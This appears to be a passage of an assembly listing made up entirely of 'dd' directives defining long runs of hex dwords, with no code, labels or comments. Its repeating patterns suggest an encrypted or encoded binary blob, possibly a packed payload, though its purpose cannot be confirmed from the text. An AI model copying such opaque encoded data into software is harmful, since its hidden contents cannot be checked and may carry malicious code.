		dd 0EE0A6DA7h, 0FFE6838Bh, 48F760B9h, 0E8552C1h, 833DA0BCh
		dd 0A63FFE6h, 0CE51507Ah, 0DE2C8A94h, 5F168138h, 0E6DCC5E0h
		dd 69A76DFFh, 0C450A535h, 0AC264FDAh, 5EE78ABh,	0FCB359D2h
		dd 0E8552C1h, 203C7CBCh, 0FFE683BDh, 70E48AE3h,	0FFE6830Dh
		dd 162BDA33h, 336BA75Fh, 0F452C184h, 0AD67BC85h, 973D66F1h
		dd 0E67628EAh, 7A207E91h, 0A75F16C3h, 0C184336Bh, 50854771h
		dd 94827CC8h, 14BA237Bh, 837DE05Dh, 0A735FFE6h,	45AA3569h
		dd 0F749D4CAh, 9A6C14CEh, 920C055Ah, 19D335ECh,	801EF54Ah
		dd 6BA723DAh, 3E5A1DF7h, 0FFE683DBh, 0DE47B009h, 0A75F162Fh
		dd 63A3336Bh, 83A40723h, 79D2FFE6h, 0E683AA0Dh,	0D97FD8FFh
		dd 0BC52C122h, 76FC492h, 2457C914h, 91FE780Fh, 3955E53Bh
		dd 0FFE735D6h, 89FDA3FCh, 0FFE73526h, 3EA1BDFDh, 15FFE735h
		dd 0E73596F9h, 2263BCFFh, 0BA6C23C9h, 4A19D35Bh, 838BEE0Ah
		dd 60B9FFE6h, 9F4559BBh, 336BA7E8h, 607CBC84h, 0FFE682FDh
		dd 19858E23h, 82FC658Eh, 94965A53h, 442E80Dh, 0A5F9176Ch
		dd 477F11Ah, 8DCE47D2h,	85C57C22h, 7C98ED2Dh, 8353B622h
		dd 2881FFE6h, 7CBCCB82h, 0E682FD60h, 24CA23FFh,	6BA72291h
		dd 67BC8433h, 416AF5A9h, 0BC99089Bh, 0E6833DA0h, 430A63FFh
		dd 2A3EC1EBh, 0E9AE9581h, 7CBC8C43h, 0BA3A7752h, 4858A015h
		dd 3EF88B67h, 0C93DE34Ch, 0FFE7386Ah, 16903F98h, 0F76BA75Fh
		dd 6A19821Ch, 0F89F5F16h, 83326CA7h, 0E8552C1h,	833DA0BCh
		dd 0A63FFE6h, 158507Ah,	0F583DD9Bh, 7319821Ch, 607CBCBCh
		dd 0FFE682FDh, 1E3ACA23h, 0FFE683BBh, 0ACEA90E9h, 8585F4F5h
		dd 0A752C10Eh, 78A2326Ch, 43B48E71h, 3AF197B2h,	0A4F45F16h
		dd 102FCD7Ah, 0F89E5F4Ah, 837DE041h, 0FF54FFE6h, 0DBC35210h
		dd 33BE2750h, 0F39A900Ah, 0B90B65DDh, 1B7A5C13h, 0F1AD67BCh
		dd 16973D66h, 179F6E5Ch, 8358BBD7h, 257EFFE6h, 6CA7C87Fh
		dd 52C18332h, 0E6837DE0h, 1B7A35FFh, 0A4A19D3h,	0E6838BEEh
		dd 0D060B9FFh, 0E68351B4h, 80267FFFh, 326CA7C9h, 0A75F1683h
		dd 0BC83326Ch, 4DF3AB67h, 7DE04BBAh, 35FFE683h,	0A5306EA7h
		dd 3EC9D540h, 0E5C983ACh, 0BAE36E30h, 0D360BF51h, 6CA72B19h
		dd 8B0F7321h, 0BD9E1886h, 0F9A811BCh, 6CA75F16h, 0C44DA232h
		dd 80264FDAh, 0A752C1C9h, 0F46B326Ch, 0FD607CBCh, 23FFE682h
		dd 708C24CAh, 0FFE6830Dh, 0C12BDA33h, 0BC44B352h, 4CF2AC67h
		dd 0A72311CBh, 1683326Ch, 0ED2D855Fh, 0E6836ED1h, 0BCE230FFh
		dd 7529E67Bh, 0DE58C1EAh, 4CAB7B68h, 43FAA042h,	6A7792BCh
		dd 0E2798EBAh, 0A73AA93Ch, 8CEF0B6Ch, 0BAFFE683h, 0BC49F861h
		dd 4AF0AE67h, 6CA748B7h, 0CD42A732h, 0F92A46D1h, 8FFE973Fh
		dd 852B19D3h, 607CBC0Eh, 0FFE682FDh, 4854B923h,	0A62E5297h
		dd 0BFFF973Dh, 68F3AB6Ah, 0C225993Fh, 0F0FFE727h, 5F16E897h
		dd 0E10692BCh, 4BB2F749h, 0AC3C9FBBh, 116AFFE6h, 4955BE6Bh
		dd 8552C19Ah, 3DA0BC0Eh, 63FFE683h, 52C15B0Ah, 72363B3h
		dd 0FFE683A4h, 83046783h, 0D932FFE6h, 0E2993F98h, 0FD607CBCh
		dd 23FFE682h, 0BB1E3ACAh, 0E9FFE683h, 0AF69EA90h, 0F392BCC1h
		dd 72003679h, 1201AE54h, 54DFBF50h, 0BC13C22Bh,	0EA0EA792h
		dd 744AB007h, 8F4EC84Eh, 0FF3DE38Dh, 0AA67BC48h, 9B4069F4h
		dd 0CF842A74h, 3668A728h, 8552C187h, 3DA0BC0Eh,	14FFE683h
		dd 8355B8D4h, 227BFFE6h, 2BDA337Ch, 4FB45F16h, 0F1A8DEC0h
		dd 828E96F3h, 0BC04B31Ch, 0E0AD0EA0h, 0AB3B9407h, 58E3BB56h
		dd 0BCD2892Fh, 82FD607Ch, 52BFFFE6h, 6F8B0B4Ch,	0FFE6830Ch
		dd 0D278E13Ah, 0E85D03Fh, 0CDE052C1h, 6563DFA9h, 19D344B3h
		dd 0BC0E852Bh, 0BD203C7Ch, 0E3FFE683h, 0D70E48Ah, 33FFE683h
		dd 20F54ADAh, 24CAF37Eh, 855F166Dh, 623CD82Dh, 71C105BCh
		dd 0A1D70731h, 4B96F71Ah, 0E6907CDFh, 0AB51AAFFh, 3569A7F4h
		dd 0A75F1686h, 0C185346Ah, 0A785F452h, 4B17F86Ah, 244DD8C6h
		dd 16A352BBh, 0B3EB297Eh, 0A259FF28h, 0A3336BA7h, 34DAC44Eh
		dd 0A752C17Dh, 0BC85346Ah, 82FD607Ch, 8E23FFE6h, 0FB41D81h
		dd 0E60F9A04h, 0E03EAD40h, 4539EF8Fh, 13091C46h, 8A52364Ch
		dd 92BC2DE4h, 0A160301Dh, 0A24FF580h, 89EC086Fh, 0B7FFE77Ah
		dd 4757B95Eh, 7B2A93BCh, 92BC5F16h, 0DA782835h,	0DB882E4Eh
		dd 0C1B96836h, 0EF8BE052h, 0F54A4539h, 0CBF47F1Fh, 44B36E25h
		dd 0A72B19D3h, 1685346Ah, 346AA75Fh, 0A752C185h, 4EA3336Bh
		dd 0E94ED9C5h, 0C0E9742Ah, 16FAB157h, 346AA75Fh, 3E7E1685h
		dd 0E683BF22h, 0E68CE5FFh, 0AA67BC2Fh, 70A14EF4h, 52C17F2Eh
		dd 84336BA7h, 1B7A52C1h, 0A4A19D3h, 834BAECAh, 2079FFE6h
		dd 0E68351B4h, 80267FFFh, 0D492BCC9h, 770117D3h, 0F02AF55h
		dd 0A1D5FF8Fh, 8732E42Ah, 1629E086h, 0F76BA75Fh, 6918811Dh
		dd 6DA75F16h, 52C18231h
		dd 0E6837DE0h, 16FF54FFh, 6CD5C94Ch, 5B12B8E1h,	0A1316DA7h
		dd 4ED9C54Ch, 16C87F25h, 346AA75Fh, 0A752C185h,	0C182316Dh
		dd 3569A752h, 0D3CB45AAh, 79DCF848h, 0A7FFE683h, 0CF89CA4Eh
		dd 0BCF65527h, 82FD607Ch, 0CA23FFE6h, 1AE9A324h, 0F45AB1F0h
		dd 213D3510h, 0FFE72EBEh, 7C228BE4h, 346AA7C5h,	855F1685h
		dd 0A752C10Eh, 4CA1316Dh, 224BD6C8h, 5F16C57Ch,	0C54FA4F4h
		dd 0BC7C33D9h, 65F0AE67h, 0BF22963Ch, 77FFE683h, 19D31B7Ah
		dd 85F89F2Bh, 0AC67BC0Eh, 69B94CF2h, 17A2FC14h,	0A79148EEh
		dd 0C185346Ah, 0D82D8552h, 0B5E9273Bh, 0F398012Ah, 1FD67C22h
		dd 8341A0BCh, 0BB10FFE6h, 91BA4559h, 9A49A2EBh,	143E7E16h
		dd 911234CFh, 1679E528h, 3CFFE722h, 99B056D2h, 0D23B96E7h
		dd 6AA7752Ch, 0C77AA434h, 0C1F50A99h, 94BECF49h, 0F979A501h
		dd 5F169C53h, 4DC2179Fh, 0A7F4AB51h, 0C1863569h, 4C92BC52h
		dd 89928F7Fh, 0AC3767AAh, 741A83h, 63DFA9EDh, 0D344B385h
		dd 69A72B19h, 5F168635h, 0FD607CBCh, 23FFE682h,	901B838Eh
		dd 0E458FE67h, 0FFE6D82Ch, 346AA7ACh, 0AD67BC85h, 68B84BF1h
		dd 239D0113h, 0B6DA3D97h, 0AD640A61h, 0A0BC0E85h, 0FFE6833Dh
		dd 5D41CE63h, 0B04A9D2h, 167B2A93h, 0BCCCE05Fh,	618B3F63h
		dd 49408DFDh, 40F79DA3h, 1DF86AA7h, 0BC691881h,	69F4AA67h
		dd 0A55C9A40h, 0FD607CBCh, 23FFE682h, 9A7724CAh, 52C15504h
		dd 0C923237Bh, 32E81F49h, 6664122Bh, 19D309C0h,	346AA72Bh
		dd 547E1685h, 7F65BF22h, 762DD3FDh, 0F0AE67BCh,	2A749D4Ah
		dd 0A867BC7Bh, 4EBD50F6h, 0CBF710E0h, 51C8A857h, 0FD607CBCh
		dd 23FFE682h, 0E9A324CAh, 0AC67BCFBh, 0D69D78F2h, 682014E0h
		dd 0A2FC15C2h, 0A75F16F3h, 66BC236Ah, 21CF09FFh, 0FC25B0EEh
		dd 0C17B2A93h, 0A7F71C71h, 0A279F31Ch, 8BBE532h, 0E0B2690Fh
		dd 166AA4EAh, 507ABA8Ah, 0B0662C23h, 0A75E0451h, 0EE277CBCh
		dd 90FC25B0h, 0FFE6832Dh, 0D354FA53h, 3D204A19h, 5F4E805Fh
		dd 6AF5A966h, 7B32D841h, 0CEA967BCh, 0E6834FB2h, 0B31C75FFh
		dd 0EDB1600Dh, 5F92BC3Eh, 49A7726h, 5D32098Ah, 8CE179B7h
		dd 0BB721886h, 0FD607CBCh, 23FFE682h, 0D45D91B9h, 63CCA278h
		dd 620010BDh, 0D988F1ADh, 6AA752C1h, 1578D223h,	0B72061CCh
		dd 0C852C108h, 2B19D351h, 0A53569A7h, 9A45577Bh, 3DD7CABFh
		dd 44ADD661h, 5F16E79Eh, 71C10E85h, 1DA8F61Ch, 834EB1CDh
		dd 1B74FFE6h, 0A7550CB2h, 0AEAC236Ah, 7D7729EFh, 5F166514h
		dd 7DE085F4h, 54FFE683h, 8395F814h, 62BBFFE6h, 5BBA05BCh
		dd 9F2B19D3h, 0F56DA7F8h, 0D2CC441Eh, 2AB51E47h, 0F2DCCF0h
		dd 0D63F65EBh, 52C1BE6Dh, 0A0BC0E85h, 0FFE6833Dh, 0BC5B0A63h
		dd 82FD607Ch, 0CA23FFE6h, 0F42FE624h, 316DA785h, 297E1682h
		dd 12AB5E9h, 67BCA45Bh,	426BF6A8h, 7925EF9Ch, 0E052C1CAh
		dd 0FFE6837Dh, 103A7A35h, 7EE84ABh, 0FEB55B10h,	0A4A19D3h
		dd 0E6838BEEh, 0BA60B9FFh, 316DA703h, 0A75F1682h, 4CA1316Dh
		dd 224BD6C8h, 71C1C57Ch, 0A2F25F47h, 842AEAD6h,	837DE0CDh
		dd 0A735FFE6h, 841AF76Bh, 0DC67D0F9h, 76019D77h, 9941FB24h
		dd 0F24787C7h, 0CAF37E20h, 0E682FB5Eh, 5BBEDAFFh, 89FFE683h
		dd 0F096EF30h, 4A19D339h, 0F6811DF5h, 0BC7027CDh, 85014292h
		dd 7C22DACEh, 0C95945CFh, 0F64AB39Fh, 66AA7792h, 7229CF38h
		dd 6EA75F16h, 0B57CA530h, 0A752C13Eh, 821CF56Dh, 0E16C32DDh
		dd 6ABF4FB8h, 415DB8AAh, 7E244DD8h, 1C71C1C7h, 46783F4h
		dd 32FFE683h, 13CA70D9h, 0A0BC0E85h, 0FFE68341h, 60C3DF5Fh
		dd 86FFE683h, 0BC15C42Dh, 8BC74892h, 943AB1E6h,	6DA79F56h
		dd 7E168231h, 0CB598854h, 48EEE29Ah, 32D8591h, 0BD3B36F8h
		dd 0B46B11AFh, 0F13171C1h, 0E68372D5h, 0DB47A0FFh, 0FFE68378h
		dd 0E89F459Eh, 69A7F89Fh, 4E690B24h, 931997D6h,	5F81D6EDh
		dd 54036CD5h, 0F31C71C1h, 51F720ABh, 607CBC9Ah,	0FFE682FDh
		dd 8355B8D4h, 227BFFE6h, 6EE288E1h, 0FFE6830Ch,	0D330E7CCh
		dd 4C842B19h, 0EA387481h, 32Dh,	346AA77Bh, 3C7CBC85h, 0E683BD20h
		dd 1E8AE3FFh, 0FFE683BBh, 57EA90E9h, 3668A7E8h,	0E052C187h
		dd 0FFE6837Ch, 0AD67BC3Ch, 973D66F1h, 0CA7925EAh, 92BC5F16h
		dd 0F69A9257h, 0F7A44AD7h, 0D3CB4A18h, 52C1BB6Ah, 0FD607CBCh
		dd 23FFE682h, 9A7724CAh, 5F165504h, 0CAAD67BCh,	0E6834BAEh
		dd 0B72079FFh, 0F3AB6411h, 0A75F1644h, 33CD1F6Eh, 0B6576210h
		dd 52C19E4Dh, 69C8B5E0h, 92BC3D5Ch, 59C3B380h, 76A869Eh
		dd 2DFFE697h, 0BFDB6BD4h, 0FFE6975Ch, 0DE8B318Ah, 16B86737h
		dd 7D92BC5Fh, 207E9500h, 56F26C95h, 5704AA1Dh, 0C131E0BEh
		dd 0AD67BC52h, 0F0166F1h, 72DB048Fh, 82F258CCh,	0A7B2FFE6h
		dd 44A9346Ah, 2A8DA9CEh, 58FFE683h, 790B96FFh, 90EE9650h
		dd 2B19D329h, 0F1AD67BCh, 27779E4Bh, 607CBC78h,	0FFE682FDh
		dd 0E624CA23h, 96EA72Fh, 0E6838AEDh, 0F65FB8FFh, 0E052C147h
		dd 11325D4Bh, 4BAECA0Ah, 7911325Ch, 0E6AA620h, 0A8E354ADh
		dd 3A7A4B02h, 0CC722CE5h, 2B19D315h, 0E1AC67BCh, 1423E4E0h
		dd 74FF68A2h, 0D63A933Ah, 81EAFF96h, 0B7E72EDBh, 0AC67BC08h
		dd 570E4CF2h, 0F5A967BCh, 0EE9B416Ah, 0ACEC7C22h, 0E6832D90h
		dd 0B7D353FFh, 0FFE68354h, 1AC02982h, 0BC52C163h, 82FD607Ch
		dd 0CA23FFE6h, 0A1A2B024h, 0A7D2548Fh, 44A9346Ah, 0F747D2CCh
		dd 0E68378DBh, 73459EFFh, 0B7D7904Ah, 3659FA05h, 53B244ADh
		dd 0F1AD67BCh, 7D983D66h, 0C76D9621h, 0BC9E8C46h, 4EF4AA67h
		dd 9F2F6FA1h, 2ED4CA4Ah, 0A75F1677h, 0C1863569h, 306EA752h
		dd 1C71C181h, 0A05AAF4h, 3AE00994h, 0D35BBA83h,	69A72B19h
		dd 5F168635h, 0F20E69A7h, 0FFE6838Fh, 0B61935B5h, 0DCFFE683h
		dd 9F751A83h, 0E24B74FFh, 0E052C133h, 548FA1D2h, 0D31B7A62h
		dd 69A72B19h, 5F168635h, 81306EA7h, 69A75F16h, 7CBC8635h
		dd 0E682FD60h, 818E23FFh, 69921Dh, 0E058C75Ah, 7396BDBAh
		dd 507ABA7Ah, 0A369DF26h, 9A51F744h, 0A72B19D3h, 50A53569h
		dd 2750DBC3h, 5F16CA81h, 0BB1892BCh, 0A2C34E5Bh, 0DDC14FFCh
		dd 0AB67BC2Eh, 4BBA4DF3h, 3A7792BCh, 70131CBAh,	4F3356CAh
		dd 7AF323A0h, 4C2BE53Ah, 0E683CD30h, 319AF3FFh,	20D77DA6h
		dd 0A72B19D3h, 16863569h, 3569A75Fh, 0A752C186h, 0C185346Ah
		dd 326CA752h, 0D0CE42A7h, 3EF82945h, 0D365C496h, 69A72B19h
		dd 5F168635h, 863569A7h, 0DC3171C1h, 9BFE6A34h,	0C9FFE683h
		dd 0E013CA70h, 239FC6BDh, 306EA775h, 0CAD440A5h, 0CA84AD3Fh
		dd 0D3319022h, 69A72B19h, 5F168635h, 863569A7h,	0BAE052C1h
		dd 7A7396BDh, 2BE53A7Ah, 0EAEE873h, 57CA51C1h, 580FB51Eh
		dd 0A72B19D3h, 50A53569h, 7E35DBC3h, 223E7E16h,	0FFE683BFh
		dd 2FE68CE5h, 863569A7h, 67BC52C1h, 4FB2CEA9h, 75FFE683h
		dd 0FF28B31Ch, 0A28BE559h, 7A496DB5h, 2B19D31Bh, 863569A7h
		dd 67BC5F16h, 4069F4AAh, 7A24ED9Ah, 6D5F16CBh, 0D15h, 3569A706h
		dd 0E052C186h, 0FFE68384h, 254FE734h, 0B06EBC3h, 58BA5F9Eh
		dd 0D3E9A046h, 4C842B19h, 33387481h, 0E06B33DEh, 233011B7h
		dd 0C1000006h, 0F4AA67BCh, 33D9C54Fh, 7DE064D3h, 54FFE683h
		dd 18C12FFh, 0BA7B32D8h, 0A867BC5Bh, 15CF50F6h,	0A7F89F27h
		dd 0BC84336Bh, 4AF0AE67h, 0E8548B7h, 0BAA867BCh, 55E04955h
		dd 1D809C2Ch, 43FFE683h, 90AC44EAh, 0FFE6832Dh,	164BFA53h
		dd 0A867BC5Fh, 9C426BF6h, 7DE0CD3Ch, 35FFE683h,	19D35BBAh
		dd 0AD67BC2Bh, 973D66F1h, 6AA73BE2h, 52C18534h,	67BC0E85h
		dd 0DCB5E2ABh, 0BD3669F8h, 0FAA0C954h, 2EE34662h, 0B811FFE7h
		dd 0E05F1609h, 22E2B317h, 5F92BC9Fh, 6987752h, 15D8527Bh
		dd 16C369D7h, 16F4A3FBh, 0F86AA75Fh, 0D1FA8519h, 4FB8E62Ch
		dd 8552C1A0h, 0E052C10Eh, 2690D788h, 0D344B330h, 0E852B19h
		dd 833DA0BCh, 0A63FFE6h, 0A967BC5Bh, 9C416AF5h,	769F2A74h
		dd 0A7DB92D0h, 4EA3336Bh, 2952DDC1h, 7E16CC83h,	28B3EB29h
		dd 0A7A259FFh, 690D226Bh, 57BE0350h, 71C13FEEh,	3A9F51Ch
		dd 0D788E04Ch, 0B3302690h, 5FFF3963h, 0FE1DBB42h, 620828C5h
		dd 0A74DB6D4h, 3B92BCF0h, 76807E2Eh, 0F3AD2ED4h, 336BA705h
		dd 0A75F1684h, 1685346Ah, 336BA75Fh, 0DDC14EA3h, 0CC832952h
		dd 0FD607CBCh, 0D4FFE682h, 0E68355B8h, 0E1227BFFh, 0E04FE288h
		dd 519588E0h, 6EA7306Ah, 0D240A530h, 0AFE841CCh, 5CBB4DF5h
		dd 0F5A967BCh, 1A9B416Ah, 6BA77260h, 5F168433h,	0FD607CBCh
		dd 23FFE682h, 9E7724CAh, 0FA1B7000h, 4AF019A4h,	0A752C193h
		dd 0C184336Bh, 0FEB0E052h, 0A7487DC3h, 1684336Bh, 336BA75Fh
		dd 0D7C74EA3h, 71C17A31h, 5AAF41Ch, 31E88E10h, 81306EA7h
		dd 143E7E16h, 5C1B11D8h, 0E144B0F3h, 0FFFE6EBh,	0B4513CB6h
		dd 0DCA48894h, 6BA77F36h, 0EDADAA22h, 7EE7F493h, 0A75F16CFh
		dd 0C184336Bh, 306EA752h, 0B352C181h, 2B19D344h, 84336BA7h
		dd 6EA75F16h, 5F168130h, 84336BA7h, 7CE052C1h, 5BC5366Fh
		dd 0BD570B06h, 1BD278E1h, 40E63B3h, 7FD50F9Ah, 0BACEC2EFh
		dd 5C13B922h, 204A19D3h, 0D9FA54B7h, 89882D0Eh,	0BB618A15h
		dd 336BA704h, 0AC67BC84h, 834CAFCBh, 217AFFE6h,	5E042DB8h
		dd 67BC6920h, 9E4BF1ADh, 0C17D2C72h, 0A967BC52h, 70A24FF5h
		dd 52C17F2Eh, 19D31B7Ah, 2469A72Bh, 0C0C2387Fh,	1BAB143Bh
		dd 0C7524CC6h, 1641F89Eh, 0F76BA75Fh, 6C1B841Ah, 6CA75F16h
		dd 4662A232h, 0FFE682E3h, 12759111h, 40FFE683h,	21D87EE7h
		dd 30E052C1h, 0C80B759Dh, 19F66CA7h, 68D1FA85h,	607CBCB9h
		dd 0FFE682FDh, 2487A323h, 52FFE683h, 0ACEA90F9h, 326CA7F5h
		dd 0DCC24DA2h, 71C17F36h, 20ABF31Ch, 0DDE99AE6h, 92FBB0A7h
		dd 85374218h, 14BAF966h, 0BC167D5Dh, 4FF5A967h,	6BA75A11h
		dd 71C18433h, 34FE0731h, 73171F41h, 0E710A407h,	0D379D2FFh
		dd 0B8E9E01Ch, 0A7891404h, 1684336Bh, 0AC67BC5Fh, 0AE3E67F2h
		dd 0E6832F92h, 56FC55FFh, 863569A9h, 0F51C71C1h, 0A4C03A9h
		dd 2B19D36Bh, 0F3AB67BCh, 0BC580F4Dh, 82FD607Ch, 0CA23FFE6h
		dd 83BB1E3Ah, 90E9FFE6h, 0C9D53DEAh, 0F092BC1Ah, 0CDBB33BEh
		dd 67D6690Fh, 0EEE892BCh, 5201FE2Bh, 0F755B4D8h, 0F69C6648h
		dd 19D30DACh, 5292BC2Bh, 8C0C9555h, 0C57CBA60h,	0E2AB67BCh
		dd 4A6FC32Ch, 0A5359EE5h, 0E6DE2689h, 4DF34CFFh, 9C2C72A0h
		dd 7A613772h, 0F2986244h, 0E052C13Bh, 9640509Fh, 0D35BBA57h
		dd 6BA72B19h, 0C34EA333h, 0AD2750DBh, 0EE323FEFh, 0E59C4269h
		dd 7CBC5F16h, 0E682FD60h, 848E23FFh, 0FD668F1Ah, 3569AA57h
		dd 0A752C186h, 0BC84336Bh, 68B42592h, 882EF0DAh, 51C886F5h
		dd 0F54A19D3h, 26DD831Bh, 0F5A967BCh, 0EE9B416Ah, 16CA7925h
		dd 0C6BA75Fh, 0D94559B7h, 0FFE68376h, 940A079Ch, 0E77E009h
		dd 297E165Fh, 42DB8E6h,	6CA7A75Eh, 838CEF0Bh, 61BAFFE6h
		dd 52C149F8h, 0FD607CBCh, 0D4FFE682h, 0E68355B8h, 0E1227BFFh
		dd 0F36EE288h, 631971A7h, 0DEFA3A7Ah, 0FFE6837Bh, 0F3AA50A9h
		dd 0F4AA67BCh, 199A4069h, 6CA7715Fh, 5F168332h,	67BC85F4h
		dd 4FB2CEA9h, 75FFE683h, 0FF28B31Ch, 8382E559h,	0BA42FFE6h
		dd 2B19D35Bh, 6CA7F89Fh, 52C18332h, 0A0BC0E85h,	0FFE6833Dh
		dd 9307EA14h, 0AA42564Ah, 9940A05h, 5CF13AE0h, 0A2E2D9B4h
		dd 67CA1325h, 0E14A73FEh, 0A967BC32h, 5A114FF5h, 67BC0E85h
		dd 3F5FB5ADh, 97228BB4h, 5FC2DE6Eh, 85FFE683h, 84F3862Ch
		dd 7E16167Dh, 1FEE143Eh, 0B3825F31h, 0E77AE447h, 13B912FFh
		dd 0C10E855Ch, 607CBC52h, 0FFE682FDh, 7724CA23h, 1D72029Ch
		dd 0F51EA9F5h, 5F16984Fh, 82316DA7h, 67BC52C1h,	0EB4BF1ADh
		dd 0F56DA77Ch, 6C1B841Ah, 7CBC5F16h, 0E682FD60h, 41B923FFh
		dd 0F7D18461h, 6916BC25h, 4DB0CCABh, 73FFE6F1h,	0C102B11Ah
		dd 837DE052h, 7A35FFE6h, 600E103Ah, 3BB5E926h, 0E288D434h
		dd 2B19D32Bh, 147192BCh, 95A341B4h, 0CCD242EFh,	297E161Dh
		dd 0FF28B3EBh, 6DA7A259h, 52C18231h, 0E6837DE0h, 11FF54FFh
		dd 7A30E78Dh, 2B19D31Bh, 1AF56DA7h, 166C1B84h, 32D855Fh
		dd 8AA7CE64h, 8138DEABh, 614771C1h, 0F46A4E0h, 0A73DF49Ah
		dd 0C182316Dh, 0DBB0D252h, 0D9534BC8h, 3C58542Bh, 0FFE74DD9h
		dd 7E45AE07h, 41A0BC07h, 5FFFE683h, 0EE217606h,	56FC25B0h
		dd 0BC5F169Fh, 4AF0AE67h, 7827779Dh, 92BC5F16h,	23BEE0h
		dd 0A8C4545Bh, 0FFE75445h, 0B76C126Bh, 326CA710h, 0E052C183h
		dd 8DB25B9Eh, 0D31B7A56h, 1CF54A19h, 8392F782h,	50DB21Bh
		dd 0A73CF399h, 1683326Ch, 3569A75Fh, 0DBC350A5h, 52C17E35h
		dd 0F4AA67BCh, 2C72A14Eh, 1C71C17Dh, 4900A6F8h,	7CBC5BBAh
		dd 0E682FD60h, 24CA23FFh, 0A7FBE9A3h, 50A53569h, 7D34DAC4h
		dd 6CA75F16h, 5F168332h, 6C46Dh, 85F40600h, 0E6837DE0h
		dd 6CA735FFh, 0F7821CF6h, 75DA65CEh, 0E779049Ah, 9E4B04BEh
		dd 0E0CAE1DCh, 0C423B51Eh, 0BC2B19D3h, 99595692h, 6D12F3BEh
		dd 0A156FCA2h, 0F969A7FAh, 6F9C721Bh, 0C59071DFh, 0C144F35Ch
		dd 99F41C71h, 0F0A49561h, 35DB4477h, 0BC0E857Eh, 0E6833DA0h
		dd 5B0A63FFh, 85F45F16h, 863569A7h, 69A75F16h, 52C18635h
		dd 0E6837DE0h, 1B7A35FFh, 0A72B19D3h, 77C22469h, 0BD2B6905h
		dd 7E16A554h, 11B6E829h, 0E60F9A04h, 69A78940h,	0A17BA535h
		dd 0D345E4B7h, 4A6F1F99h, 7BB127B2h, 52C11ED5h,	0E6837DE0h
		dd 5BBA35FFh, 0A72B19D3h, 16863569h, 9962E05Fh,	0A712FFE6h
		dd 0C1863569h, 0A7F71C71h, 2D854A01h, 0BD633BD8h, 3DA0BC06h
		dd 63FFE683h, 7E165B0Ah, 29B4EA29h, 0D2A35A00h,	0DCF373B0h
		dd 0F26930FCh, 203C7CBCh, 0FFE683BDh, 0DEFA8AE3h, 0FFE6837Bh
		dd 36AA50A9h, 0FFE683D3h, 0C1F9A801h, 3569A752h, 0A75F1686h
		dd 878E336Bh, 0BCD95017h, 0E6833DA0h, 5B0A63FFh, 0E855F16h
		dd 0F89F52C1h, 863569A7h, 68A752C1h, 0BB82AB36h, 0E492BC44h
		dd 0BA0E2782h, 824BC62h, 0FFE6B3A5h, 0BCC372CBh, 67F2AC67h
		dd 27900E02h, 0A78C4381h, 0C1873668h, 3569A752h, 0AA67BC86h
		dd 0FD1969F4h, 0FFE6839Ah, 60066FC8h, 7CBC5ECDh, 0E682FD60h
		dd 24CA23FFh, 3D8DFFB0h, 67BC776Ch, 4559B6ACh, 9D2891BAh
		dd 5BC4DA38h, 960808B5h, 0AC67BCE7h, 983E67F2h,	69A7A35Ah
		dd 71C18635h, 1AA5F91Ch, 0E0944BF1h, 6C3D8E2Bh,	2363B3CBh
		dd 0E683A407h, 0D379D2FFh, 2B19D31Ch, 0F5A967BCh, 306EA24Fh
		dd 0A75F1681h, 0C1863569h, 3668A752h, 0A75F1687h, 16863569h
		dd 0B6E8297Eh, 0F79D0111h, 0AB67BC40h, 0DC4559B7h, 0E822851h
		dd 0FFE6A799h, 326CA7D5h, 0E34662A2h, 11FFE682h, 0C15B12B8h
		dd 0A9F51C71h, 984FF51Eh, 0A0BC0E85h, 0FFE6833Dh, 257A0A63h
		dd 99859DF0h, 5B2507C8h
		dd 983E67F2h, 0AA67BCE1h, 9A4069F4h, 6EA7A55Ch,	0E876A030h
		dd 0E8F72B4Eh, 0C1EEA54Bh, 72073171h, 51B2B5DCh, 4B379A06h
		dd 45DFFE7h, 0A7E0A75Eh, 6E73CDBDh, 0EAC5D244h,	0C0E9742Ah
		dd 0D6B38246h, 6EA77930h, 5F168130h, 81306EA7h,	167D52C1h
		dd 44547E16h, 0F2557145h, 20FFE73Dh, 0CDBC4DC7h, 0A7B36A10h
		dd 0C181306Eh, 0CB92BC52h, 79DCF86Eh, 0A7FFE768h, 0C985D44Eh
		dd 0FE5A33D9h, 524CC81Dh, 6AA7F5ACh, 0F6811DF8h, 74D964CDh
		dd 2375009Eh, 6D9840FAh, 2B19D3BEh, 81306EA7h, 6CA75F16h
		dd 4662A232h, 0FFE682E3h, 5B12B811h, 0F71C71C1h, 4DF31CA7h
		dd 5026E096h, 0A7CE0292h, 1683326Ch, 78EA297Eh,	0F298019Dh
		dd 0F46EA73Bh, 0DD405C1Bh, 3FFE683h, 8DB641AAh,	52C17524h
		dd 83326CA7h, 153171C1h, 0FFE683B2h, 2AE187E0h,	0A6316DA7h
		dd 525C0F6Ch, 0CE733D1Fh, 0B3CF5A44h, 0DDF9C882h, 0FFE7367Ah
		dd 54E64FA8h, 4A19D3F5h, 0D97F1FF5h, 306EA722h,	607CBC81h
		dd 0FFE682FDh, 0E624CA23h, 8717F94Eh, 67BC2AE1h, 435BB8AAh
		dd 8C8734DAh, 2CD9E901h, 0B41DCEC9h, 3E7E1605h,	0E683BF22h
		dd 0E68CE5FFh, 306EA72Fh, 0D4CA4BA0h, 71C1772Eh, 83B21531h
		dd 87E0FFE6h, 7CBC2AE1h, 49B5E927h, 0FFE682E6h,	600DB30Ch
		dd 0FF63AFB3h, 0D5FE8915h, 4FB8E16Ch, 297E16A0h, 0FE27B2ECh
		dd 6EA7A158h, 5F168130h, 0A0BC0E85h, 0FFE68341h, 0C157065Fh
		dd 326CA752h, 7A52C183h, 2B19D31Bh, 7CBC0E85h, 0E682FD60h
		dd 24CA23FFh, 8311708Ch, 0C52FFFE6h, 16F9BEB6h,	52016A0Fh
		dd 203C7CBCh, 0FFE683BDh, 70E48AE3h, 0FFE6830Dh, 28769E33h
		dd 7B0B749Dh, 24AFEF26h, 169E55FBh, 0F66CA75Fh,	0CBF47F1Fh
		dd 7E16B362h, 0DB2EC29h, 3FF69C02h, 0A9346AA7h,	83DA3D59h
		dd 0AF08FFE6h, 0E7277F46h, 0E68368CBh, 8F358EFFh, 3DA0BCD8h
		dd 14FFE683h, 0C04B53BFh, 0FB23B886h, 0C932F0DEh, 0F181DA23h
		dd 0EA3295B1h, 760FFE6h, 71C1AA61h, 5ABF31Ch, 0AA67BC4Eh
		dd 9B4069F4h, 719A2579h, 0ADF11ECBh, 7A52C1FEh,	4A19D31Bh
		dd 0DE841AF5h, 0BC0E8527h, 0E6833DA0h, 5B0A63FFh, 833DA0BCh
